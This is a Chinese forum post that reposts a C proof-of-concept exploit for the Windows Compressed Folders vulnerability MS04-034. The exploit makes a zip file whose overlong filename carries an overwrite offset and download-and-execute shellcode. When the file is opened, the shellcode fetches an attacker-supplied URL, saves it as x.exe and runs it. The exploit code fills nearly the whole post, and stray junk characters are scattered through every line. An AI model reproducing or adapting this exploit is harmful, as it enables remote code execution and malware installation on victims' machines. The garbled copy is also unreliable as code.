- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
|
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)# J4 p# Y+ z0 c0 R! }8 q
*
; x- N. \2 X$ R7 b; Y- X* Tested under Windows XP SP0 Spanish/English
7 d/ J5 O6 ^3 k$ A$ H*
+ X" L4 D* ~$ h: q( B) \* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html
# C# P1 K5 ]7 E+ E/ n* Exploit Date: 21/10/20047 d7 z: C0 E( Y$ G; S1 k
*- G; ]0 B' A4 d6 O6 l
* Tarako - Haxorcitos.com 2004
% g2 U+ \7 w( e) z# A# ]*
1 [6 [7 u) |6 ~* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
5 v9 M6 q$ I. }; C. L7 u9 V) O* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
0 i# i' [8 [5 Y' ]- O* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.) ]% C- a/ }8 g) ^* n. `
*
/ c% h/ k8 G6 k! x; \) _* Greetings t #haxorcitos, #dsr and #localhost @efnet$ W+ H) N% ^9 ~: u
*3 d n _* M0 Z8 L' C
*0 `; z# x! [, y" y9 Y
* How to get new offsets:
4 r0 Q; d$ V$ |4 \& `* 1) attach debugger (i.e ollydbg) to explorer.exe
( `/ C5 ^5 ]* P7 G U. B* 2) open the zip file as a folder and add or move some files to it
1 M9 J+ \; M8 E H" r( Z* F* 3) search in the explorer.exe memory the shellcode and get the addresses4 |. p+ ?2 ~, t8 i! Q- N
*2 G) d8 F4 m# a
*/# {" E5 a* V r5 G
& w! H4 Z1 J2 j# v/ R/ |0 g#include <stdio.h>& x/ o- i# G6 z7 Y$ s
#include <windows.h>
/ `/ R" n0 M+ h _+ n
1 a# T( Y+ ~! _+ k" A8 r& ?4 h# D#pragma pack(1)
4 k, ^: [+ y) u% d, ~% t0 T/ [
( M4 q* C; q4 ^( |#define DATOS "Tarako-Haxorcitos.com"& I% `+ j8 }: r- ]% V+ {
. e3 {9 E0 l- w- e: R
typedef struct {
1 j- m( }* @& B2 H5 j" L# cDWORD Signature; // PK.. 4 bytes (0x04034B50)
) ]5 I5 G- `+ Y s# r, VWORD VersionNeeded;
1 Z S$ C6 V2 |4 ]- k" dWORD GeneralPurposeFlag; // para el data descriptor y demas" s; h* [& F. A6 T$ E
WORD CompressionMethod;
: r5 x3 V" `1 PWORD ModFileTime;
. Z/ ?8 `* o. g1 r1 Y2 TWORD ModFileDate;
/ C4 _6 k" ] ]1 _1 C0 }DWORD Crc32;1 H) |% e, \) ]2 Y
DWORD CompressedSize;
; Q! `. s7 u4 u; G5 d2 g& Q) T, rDWORD UncompressedSize;
% [/ J& Z" A8 s. R/ fWORD FilenameLength;$ O' \ O( T: U$ e
WORD ExtraFieldLength;+ |) X9 q! j8 ]4 ~4 E: U# r) U. w
// filename (variable size)
* g; e) w' T9 G& z8 l6 P* `// extra field (variable size): g' k* C+ R6 f- Z& W: R/ \* W& e9 H
}TOPHEADER;
- ~7 L" i/ v, }* V0 j+ B/ [- w# U) ]
# k2 w: q7 \" T% \. z2 @1 f w: C
typedef struct { ; x. [5 ~' B: ^5 [3 _
DWORD Signature; // PK.. 4 bytes (0x02014B50)
3 V* U0 B1 J5 S) I, |# qWORD MadeVersion;$ V, i5 T4 T% b
WORD VersionNeeded;& ?2 V4 Q) a8 g5 x( E% W% s
WORD GeneralPurposeFlag; // para el data descriptor y demas
: F% S) p6 {2 F+ |) [, }WORD CompressionMethod;
4 j1 N* t7 { x* B! \7 m+ e- _9 UWORD ModFileTime;# T, E& ?# [: X5 }6 b7 U8 l
WORD ModFileDate;
$ X) X0 S3 S" l3 N8 ZDWORD Crc32;
+ U* i5 a7 X( M- y: B, u* a6 g' k; TDWORD CompressedSize;7 z- N. s* w9 W2 u
DWORD UncompressedSize;* }# |* \. p" D6 G7 F$ I# g
WORD FilenameLength;; b, i* A" _0 n5 m8 `
WORD ExtraFieldLength;7 P# D }) p6 i& m. q
WORD FileCommentLength;1 P2 b% c, a) L! Q* M" W/ K! B
WORD DiskNumberStart;
( F8 Y# a, x4 U/ yWORD InternalFileAttributes;; ^# G, }8 o5 ?* b- v1 Q
DWORD ExternalFileAttributes;5 K- D! }( g8 @0 z5 p/ {
DWORD RelativeOffsetOfLocalHeader;
* i6 _0 ^9 J* X/ A; T, B; \2 s& z// filename (variable size); O( `3 x% K( E; ~- B* Q
// extra field (variable size)
. i2 Z& d8 v* c1 ]// file comment (variable size). `8 p# {* ~% z0 e5 B& |
}MIDDLEHEADER;1 C' A: g5 N/ g- C6 Y3 [
; Z! Y% N, K! A& O7 m& @+ B& F
typedef struct {
2 w3 d; r9 Z2 X: b' yDWORD Signature; // PK.. 4 bytes (0x06054B50)* F4 v3 }: X& ?' Y1 c8 l
WORD NumOfThisDisk;
4 Z( m/ p# s; b+ O- M) WWORD NumDisckStartCentralDirectory;9 c5 G V; j9 F2 e2 ?6 T
WORD NumEntriesCentralDirOnThisDisk;; C& ~6 @$ d4 o& a+ C# o+ R4 H+ t$ k6 O
WORD TotalNumEntriesCentralDir;
8 [1 Z2 @2 w2 ]: F/ u ODWORD SizeCentralDirectory;0 a2 W$ X! D! y- ]* G' \' ^! q7 n# X
DWORD OffsetCentraDirRespectStartDiskNum;# k2 u. P% R# x; E6 p) E. L& o
WORD ZipCommentLength;) L7 h5 M: w* ^- X
// zipfile comment (variable size)( ~! c' M: H- _9 b/ r2 [& V' G ?
}BOTTOMHEADER;
3 x" p: T8 u7 q# r3 u
+ L E9 H6 ]8 C3 {/*: {: _. }( K4 k# d: u
* download shellcode - RaiSe - raise@netsearch-ezine.com+ `/ w, a6 [9 w5 G
*/
' s0 U+ M5 M& g- o% u: y# xchar shellcode1[] =
! p1 D7 Y8 {& c"\xEB\x5D\x5F\x8B\xF7\x80\x3F"
9 }- n# M7 ^. ~6 s6 Q/ d! s8 U"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"
5 i# M1 I5 D; t' P) z h) o+ H# z"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"6 @0 O# b5 p7 d Z
"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8"6 b! a7 t W4 F8 C" K
"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B", t6 z/ a6 c# c) P2 U
"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"0 O' }+ [, B n+ N+ W# m2 \' a: K
"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" N( R* d/ T" Z P5 ] {: p
"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"
( p% P! K1 R5 D3 Q0 y" j+ H"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"& q8 T; E) [+ [, f# X9 z
"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"
4 K6 g1 i- T( Y. f; c"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"8 c P" T! N9 ], f% @6 q6 Y
"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"
( Y$ i0 X+ l/ O5 P"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"
7 K) x6 U) W4 E9 F5 }6 Q) y"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"
& g& u0 |: Q! k8 Q, W"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0", ]2 ^2 R) w8 ^' q' {
"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"
. k/ c3 C" }" l2 ["\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB") b- Q U7 J! e
"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"6 H* K( U! f n @! P8 X' U" e
"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"
7 ?, h2 g% _8 Q2 j8 x"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52", c2 [. P+ u1 |# N6 Z7 l
"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"% A7 i% e6 f' o- ?/ Y
"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"" [. s+ c6 b# F6 y8 T7 ?; F
"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"
+ t$ q! P5 o! b+ D6 o"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"* u+ w* V! H" |0 z% e$ }. P
"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"8 D3 G6 g. X+ y8 d9 M
"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69", c" T5 q6 T# W: G) i* I
"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"
0 |5 O. c! f( X- n"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"
9 T9 t- S& L$ }& t! k"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"
& ?& d; r2 C- J7 u! O3 a" B4 u i"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"
8 _' e) ~3 U+ y4 w"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72". a( ~6 f) I% Q1 [ l: `+ p" q! [2 f
"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"
) C* b/ M' V' e4 y"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69": ^. O7 p6 C4 ^
"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"
; C% u0 l/ e& I% e0 K"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08";
" Z2 J# z4 |. M3 H9 [: N' X5 hchar shellcode2[] ="\x08\x01";% N2 C0 C6 U9 u: Q
3 {# C8 s! {' {5 a+ D) ~6 a# Xchar offset[]="\x41\x41\x41\x41";8 {) w) M- |. c- Z
char jmpbelow[]= "\xeb\x06\x90\x90";
' k! L* d5 Q5 d. _+ P
* S, Y+ Y0 U+ W; `4 \int main(int argc,char *argv[]) {+ Z+ @" Z* u0 ~) e6 l6 X
7 q; e$ W4 T* j9 g d4 U
FILE *ZipFile;6 Z- d; n& h$ A1 _* S
TOPHEADER *Cabecera1;2 \4 I# Y( D7 K1 Z" a5 Y
MIDDLEHEADER *Cabecera2;
" `- ^' f3 J' q+ x6 sBOTTOMHEADER *Cabecera3;
% s3 r/ I3 K7 ^- @# e9 i+ F
C+ \4 C5 F- Y y, TDWORD c;
0 u6 a$ v. y3 c) [UINT i;$ k9 x* y# {# n% L4 ]
char *filename;
' ^1 Z4 d+ @; s$ M; `" j& `/ ychar *url;
$ f/ j3 P3 j& W4 O9 s- v. E/ q: R ~/ o3 o" g. Y; r
printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC");, }& ]& B( L% Y2 f: N
printf("\n Tarako - Tarako[AT]Haxorcitos.com\n");( k6 N2 W+ ~- p, @0 p. n6 v& f
) M' m% I" l- `* Pif (argc!=2) {) n) ]) x* N1 J8 @" R1 L+ y: V4 [
printf("\n\n Usage: %s <URL> \n",argv[0]);
' w( E+ {' V% w2 |3 v' X1 Mexit(1);
! G; {% L( l7 r, G. N- {2 p5 |% t}6 ~3 f+ z; c+ ^2 G6 `: \+ \
3 q, H, S/ O" s4 x" r/ N! x2 ^
url=argv[1];
( F# F/ j0 L, N, n$ @; \1 Vprintf("\n * URL: %s",url);+ c8 A2 f* @& ]* E) b6 h# N
7 H8 P* g+ W( P* ^
! }3 ~, i0 P5 d" \4 tif (!(ZipFile=fopen("prueba.zip","w+b"))) {+ [# K/ q7 @, E8 h5 H
printf("\n [E] fopen()");
/ N, K r2 h. n7 Aexit(1);% V# z3 y6 C9 S8 t
}
) M7 s' G7 {0 j
/ h5 q; ?. W; ]+ @. Nc=0x8000; // filename length" |2 A2 O/ z0 ^$ I3 [; W
filename=(char*)malloc(sizeof(char)*c);
5 T* g2 P; m" D! X7 {9 F9 T* A$ mmemset(filename,0,sizeof(filename));: E( G& V0 H8 o y8 b9 q6 h
& A4 C% U, d- s9 [5 hfor( i=0x0;i<c;i++) filename=(BYTE)0x90;
$ a9 A8 S A. r& i: o9 j) }0 B6 s( I7 f
memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));
/ [; |1 W8 n' X# _0 ^% K( vmemcpy(filename+0x1818,offset,strlen(offset));# p4 ]3 ]( i, Y0 k$ S' x
$ @- h( @9 Z8 G& b& B* o
memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);) x- z- U" k- C5 }% B% n3 \2 ?# b* H
memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));/ e4 Y* s C. e# j( C8 P1 e
memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);# C& B& G; b2 O' E4 S9 B2 }4 k/ V5 m
% a7 A3 D3 e6 y) a) i
memcpy(filename+(c-4),".txt",4);
1 j( |% l' {5 O- ~$ f; j8 W) ^$ D- `
Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));
7 r4 e- Y2 o4 i, `3 h; WCabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));
% X, c! g+ d( }8 J) P, W4 h/ @Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));* ^. k4 u( @7 U, G2 b
memset(Cabecera1,0,sizeof(TOPHEADER));, i5 o) _1 d) p9 g
memset(Cabecera2,0,sizeof(MIDDLEHEADER));
3 d: Q0 n }) e1 U% P# e+ [# Amemset(Cabecera3,0,sizeof(BOTTOMHEADER));
. b9 W: K6 Z6 R0 ~5 b: G; L! a' X/ O; R% N- _# T
///////////////////////////////////////////////////////////////////
7 {& L$ [0 |. a4 l// TOPHEADER
- {6 L* O3 H# s& ?1 ^///////////////////////////////////////////////////////////////////7 A, t: }7 G; K: g% j1 i, v
Cabecera1->Signature=0x04034B50; // DWORD
; C8 Z/ D- m$ ^( W! h* ICabecera1->VersionNeeded=0x000A; // WORD
, Q) r) \ ^+ ?6 ^$ m4 sCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas) e# X" \3 D5 q. T0 s& A
Cabecera1->CompressionMethod=0x0000; // WORD3 U7 Z* Z$ J V$ L: z
Cabecera1->ModFileTime=0x1362; // WORD
* ~- _/ {8 n( G+ y- ?1 N4 GCabecera1->ModFileDate=0x3154; // WORD
: @! ?+ \9 d2 Z/ f* ICabecera1->Crc32=0x85B36639; // DWORD, }0 |) l' V: }6 z; [& U
Cabecera1->CompressedSize=0x00000015; // DWORD
9 ~$ \4 X. r6 F4 o) zCabecera1->UncompressedSize=0x00000015; // DWORD
8 E! @2 g {& X( tCabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
- ^- a- _6 P$ ?& uCabecera1->ExtraFieldLength=0x0000; // WORD
( ?, c0 r. s, U3 E///////////////////////////////////////////////////////////////////2 ?/ r5 b0 `+ y1 {+ u8 n
. _! F! j) y2 v2 G6 D. q) d( F' i
///////////////////////////////////////////////////////////////////, U* z4 o7 `2 q; d3 \
// MIDDLEHEADER
; S5 V* b5 w7 E) V$ n c///////////////////////////////////////////////////////////////////
1 r. t5 k; W; s, hCabecera2->Signature=0x02014B50; // DWORD
5 z& U3 R) ?9 T9 e! dCabecera2->MadeVersion=0x0014; // WORD& u# o! B5 @7 j2 E2 t3 }) g! m
Cabecera2->VersionNeeded=0x000A; // WORD
3 r' J9 Q. `$ o# n, `( k2 y v( wCabecera2->GeneralPurposeFlag=0x0002; // WORD
; L0 }6 z1 U" S# D. X& C+ xCabecera2->CompressionMethod=0x0000; // WORD4 ]4 ~8 Q0 h/ ]+ Z) ~
Cabecera2->ModFileTime=0x1362; // WORD
6 l# B" G4 t% c8 K; u$ `5 U' P: H2 `1 aCabecera2->ModFileDate=0x3154; // WORD
" `. V. c0 J( y" cCabecera2->Crc32=0x85B36639; // DWORD4 M# @7 ?7 m; a
Cabecera2->CompressedSize=0x00000015; // DWORD3 L# Q" r' o+ J L4 p
Cabecera2->UncompressedSize=0x00000015; // DWORD! N! {) U* W( a7 ~
Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
3 o4 y u, d9 zCabecera2->ExtraFieldLength=0x0000; // WORD' ]+ R) r5 Q, g# \4 q; d; w# O3 t0 I
Cabecera2->FileCommentLength=0x0000; // WORD0 d3 h: ], x8 A7 c
Cabecera2->DiskNumberStart=0x0000; // WORD0 k# M A' w9 m% q/ I( @
Cabecera2->InternalFileAttributes=0x0001; // WORD
+ l2 y2 U5 }% Q0 I+ PCabecera2->ExternalFileAttributes=0x00000020; // DWORD
- ?" Y- c8 S$ cCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD
# R6 m$ a+ v5 V, |$ \; f///////////////////////////////////////////////////////////////////
1 ~2 N" Z! r. [) @. M9 O/ Z( Y7 x! n( ~2 x/ P
///////////////////////////////////////////////////////////////////2 J2 k/ D5 D N+ k
// BOTTOMHEADER
( n! }: f/ S. k) |4 k///////////////////////////////////////////////////////////////////
; q* b3 \4 e9 [# {5 i( nCabecera3->Signature=0x06054B50; // DWORD6 W7 E: l+ }; Q6 v
Cabecera3->NumOfThisDisk=0x0000; // WORD5 ~) V. b8 L; a3 _! A; i& |6 V
Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD
6 y# a0 q4 s" QCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD
- u* b4 S' h, N$ E& K2 A6 yCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD/ _/ F: V" ?: S: ?: o& c
Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD6 d( P+ E8 r8 O3 g: r6 ]1 [
Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD
5 b; v. F' w: A- j: F) DCabecera3->ZipCommentLength=0x0000; // WORD& k8 I B' j- U; T4 E
///////////////////////////////////////////////////////////////////% U3 ^! ]8 M+ C' _4 S
0 |( [( G; `! P7 M! u# u4 M0 j8 ?fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);% O- q$ W) J; |/ x5 k
5 o9 `+ s% K R5 l! t9 z+ W( K d
fwrite(filename, c, 1,ZipFile);
2 B4 [* v) |/ a, A+ B3 V. pfwrite(DATOS,strlen(DATOS),1,ZipFile);& ^! e# Z$ u7 C" v% H6 z( v, ^
0 D2 b8 ~4 t, k0 D. G* o; [5 Mfwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);
3 ]( ^2 g3 N$ B+ W8 W8 |fwrite(filename, c, 1,ZipFile); 9 Z$ ]9 J" P* U; L7 c s
fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);; t' k P% r0 ]. Q
% C; {3 O* V1 k# k' a8 H
fclose(ZipFile);4 Z: |: m4 F# L1 O1 x. z" M! |+ \
printf("\n * prueba.zip created\n");5 `; \; O4 ^4 X5 l7 d( E5 ~) N
return 1;
2 C/ s, H3 c t0 `. V( X}//downloaded from milw0rm.com ; u! D4 V$ L0 a# q' g/ y6 }8 g
|
zan
|